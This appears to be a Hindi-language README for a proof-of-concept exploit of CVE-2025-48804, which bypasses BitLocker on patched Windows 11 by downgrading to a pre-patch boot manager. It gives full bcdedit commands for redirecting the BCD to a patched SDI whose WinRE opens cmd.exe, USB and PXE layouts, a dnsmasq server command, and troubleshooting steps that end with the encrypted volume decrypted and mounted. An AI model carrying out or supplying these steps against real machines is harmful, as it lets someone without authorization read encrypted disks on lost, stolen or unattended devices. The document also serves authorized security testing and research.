
CVE-2025-48804 के लिए डाउनग्रेड हमला
पूरी तरह से पैच किए गए विंडोज 11 मशीनों पर बूट मैनेजर डाउनग्रेड हमले के माध्यम से 5 मिनट से भी कम समय में बिटलॉकर-एन्क्रिप्टेड डिस्क तक पहुंचने के लिए एक प्रूफ ऑफ कॉन्सेप्ट, जो मूल रूप से CVE-2025-48804 के रूप में दस्तावेज़ित SDI भेद्यता का लाभ उठाता है। जुलाई 2025 का पैच इसे bootmgfw.efi में ठीक करता है, इसलिए PCA 2011 के तहत हस्ताक्षरित कोई भी प्री-पैच bootmgfw.efi का उपयोग डाउनग्रेड हमले के लिए किया जा सकता है, बशर्ते लक्ष्य सिस्टम इस PCA पर भरोसा करता हो।
यह PoC दो वितरण विधियाँ प्रदान करता है: USB बूट (सरल और अनुशंसित) और PXE बूट। लेकिन सैद्धांतिक रूप से, आप केवल एक SDI बूट फ़ाइल को डिफ़ॉल्ट अनएन्क्रिप्टेड पार्टीशन (ESP और रिकवरी) में से एक में कॉपी कर सकते हैं और USB या PXE की चिंता नहीं कर सकते - "एज केस" तालिका देखें।
यह कार्य पूरी तरह से माइक्रोसॉफ्ट STORM (नेतानेल बेन साइमन और एलोन लेविएव) के शोध पर आधारित है:
BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets
dnsmasq और एक ईथरनेट केबल वाली लिनक्स मशीनइसे USB/sdi/ (USB विधि के लिए) या TFTP-root/sdi/ (PXE विधि के लिए) में रखें।
लक्ष्य डिवाइस पर, एक WinRE कमांड प्रॉम्प्ट खोलें (Shift दबाए रखें जबकि Restart पर क्लिक करें, फिर Troubleshoot > Command Prompt — जब बिटलॉकर रिकवरी की के लिए संकेत दिया जाए तो "Ignore this disk" पर क्लिक करें और "relaunch" पर क्लिक करें यदि आपको यह भी बताया जाए कि cmd प्रॉम्प्ट लॉक किए गए डिवाइस पर नहीं चल सकता — और यदि cmd प्रॉम्प्ट बिल्कुल नहीं खुलता है, तो यदि संभव हो तो अपने स्वयं के WinPE का उपयोग करें)। USB स्टिक डालें और चलाएँ:
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
आउटपुट में, वह डिवाइस विकल्प प्रविष्टि खोजें जिसका विवरण "Windows Recovery" है और जिसमें ramdisksdidevice / ramdisksdipath प्रविष्टियाँ हैं। इसका GUID नोट करें, फिर:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
परिणामी BCD फ़ाइल को अपनी विधि के अनुसार उपयुक्त स्थान पर रखें:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDUSB स्टिक को FAT32 के रूप में फ़ॉर्मेट करें और USB/ निर्देशिका की सामग्री को इसकी रूट पर कॉपी करें (केवल इसकी सामग्री, कोई "USB" फ़ोल्डर नहीं होना चाहिए)। USB स्टिक इस तरह दिखनी चाहिए:
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Pre-patch boot manager (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Your modified BCD
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
USB स्टिक को लक्ष्य में प्लग करें और UEFI USB बूट ट्रिगर करें — या तो WinRE से (Use a device) या पावर-ऑन पर निर्माता के बूट मेनू कुंजी (F12, F9, आदि) दबाकर। यदि USB स्टिक बूट विकल्पों की सूची में दिखाई नहीं देती है, तो UEFI बूट मेनू में "Boot from file" विकल्प देखें, फिर USB स्टिक पर EFI/Boot/bootx64.efi पर नेविगेट करें।
TFTP-root/ निर्देशिका निम्नानुसार संरचित है:
TFTP-root/
├── bootmgfw.efi # Pre-patch boot manager (PCA 2011)
├── Boot/
│ └── BCD # Your modified BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Same pre-patch boot manager
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
लक्ष्य को ईथरनेट के माध्यम से अपनी लिनक्स मशीन से कनेक्ट करें और PXE सर्वर प्रारंभ करें:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
लक्ष्य पर PXE बूट ट्रिगर करें — WinRE से Use a device > IPv4 Network चुनें, या निर्माता की PXE बूट कुंजी दबाएं।
बूट मैनेजर BCD लोड करेगा, फिर boot_patched.sdi डाउनलोड करना शुरू करेगा। SDI फ़ाइल बड़ी (~300 MB) है, इसलिए इसमें USB से कुछ समय लगता है, या TFTP पर कई मिनट लगते हैं। SDI पथ के साथ एक रिकवरी-संबंधित संदेश लोड करते समय लक्ष्य स्क्रीन पर दिखाई देना चाहिए।
एक बार स्थानांतरण पूरा हो जाने पर, OS वॉल्यूम डिक्रिप्टेड और माउंटेड (आमतौर पर C: या E:) के साथ एक कमांड प्रॉम्प्ट दिखाई देना चाहिए। यदि यह स्वचालित रूप से माउंट नहीं हुआ था या आप अक्षर का अनुमान नहीं लगाना चाहते हैं, तो बस diskpart -> sel vol X (जो आपकी एन्क्रिप्टेड ड्राइव जैसा दिखता है) -> assign letter=C (या कुछ और) -> exit -> लाभ
| स्थिति | क्या होता है |
|---|---|
| बिटलॉकर एक PIN के साथ कॉन्फ़िगर किया गया है जो आप जानते हैं | बूट पर ब्लू स्क्रीन — अंधा PIN टाइप करें (क्षमा करें, मैंने इस रेपो में बिटलॉकर फ़ॉन्ट्स से परेशान नहीं किया) और Enter दबाएं |
| ब्लू स्क्रीन, कोई PIN नहीं | लक्ष्य संभवतः CA 2023 में माइग्रेट हो गया है — Escape दबाएं और SDI स्थानांतरण को वैसे भी समाप्त होने दें, लेकिन बिटलॉकर-एन्क्रिप्टेड ड्राइव सबसे अधिक संभावना अंत में लॉक हो जाएगी |
| केवल USB-C / थंडरबोल्ट | USB-C ड्राइव या USB-ईथरनेट एडाप्टर (PXE के लिए) का उपयोग करें |
| TFTP फ़ाइल नहीं मिली (हम जिन गार्बेज फ़ॉन्ट फ़ाइलों की परवाह नहीं करते हैं उनके अलावा) | फ़ाइल नाम केस-सेंसिटिव होते हैं — लक्ष्य जो अनुरोध करता है उससे मेल खाने के लिए bootmgfw.efi का नाम बदलें |
| कोई PXE या USB बूट की अनुमति नहीं है | ESP और रिकवरी पार्टीशन के उपलब्ध आकार की जाँच करें (diskpart -> list vol). यदि किसी भी पार्टीशन में प्रदान की गई Boot.sdi फ़ाइल (जो लगभग 300Mb है) के लिए पर्याप्त जगह है, तो इसे वहाँ रखें। फिर, शोषण थोड़ा अलग होगा (लेकिन फिर भी उतना ही तेज़) क्योंकि आपको लक्ष्य सिस्टम की BCD फ़ाइल को सीधे संशोधित करने की आवश्यकता होगी (कृपया बैकअप बनाएं) ताकि यह अनएन्क्रिप्टेड होस्ट पार्टीशन (ramdisksdidevice BCD प्रविष्टि विशेष रूप से) की ओर इंगित करे, और अपने लक्ष्य के bootmgfw.efi को इस रेपो के TFTP फ़ोल्डर में दिए गए से बदलें। इस मामले में, सुनिश्चित करें कि आपके लक्ष्य का बूट मैनेजर PCA 2011 द्वारा हस्ताक्षरित है (शोषण उस मामले में वैसे भी काम नहीं करेगा, हमेशा उसकी जाँच करें), अन्यथा आप सिस्टम को बिटलॉकर रिकवरी में डाल देंगे। इसके अलावा, यदि इस रेपो में मेरे द्वारा प्रदान की गई Boot.sdi फ़ाइल के लिए पर्याप्त जगह नहीं है, तो आप अपना स्वयं का छोटा संस्करण बनाने का प्रयास कर सकते हैं, ऐसा करने के निश्चित रूप से कुछ तरीके हैं (नीचे "अपनी खुद की SDI फ़ाइल बनाएं" अनुभाग देखें) |
मैंने scripts/ में दो स्क्रिप्ट शामिल की हैं:
patch_sdi.py — boot.sdi और WinRE.wim फ़ाइल से एक संशोधित SDI फ़ाइल बनाता हैparse_sdi.py — इसकी संरचना और सामग्री को मान्य करने के लिए एक SDI फ़ाइल को पार्स करता हैरिलीज़ में प्रदान की गई boot_patched.sdi फ़ाइल में एक संशोधित WinRE.wim है जहाँ लॉन्च ऐप cmd.exe है।
bootmgfw.efi के साथ आती हैं। जाँच करने के लिए, EFI पार्टीशन को माउंट करें और सक्रिय बाइनरी का निरीक्षण करें: mountvol S: /s फिर sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi। ध्यान दें कि C:\Windows\Boot\EFI\bootmgfw.efi बूट पर वास्तव में उपयोग की गई फ़ाइल से भिन्न हो सकती है — हमेशा EFI पार्टीशन कॉपी की जाँच करें।मूल बिटअनलॉकर शोध और भेद्यता प्रकटीकरण के लिए Microsoft STORM (Netanel Ben Simon and Alon Leviev) का धन्यवाद।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।
यह रिपॉजिटरी और इसकी सभी सामग्री केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए प्रदान की गई है। इस उपकरण का उपयोग केवल उन सिस्टम पर करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक इस सामग्री के उपयोग से होने वाले किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।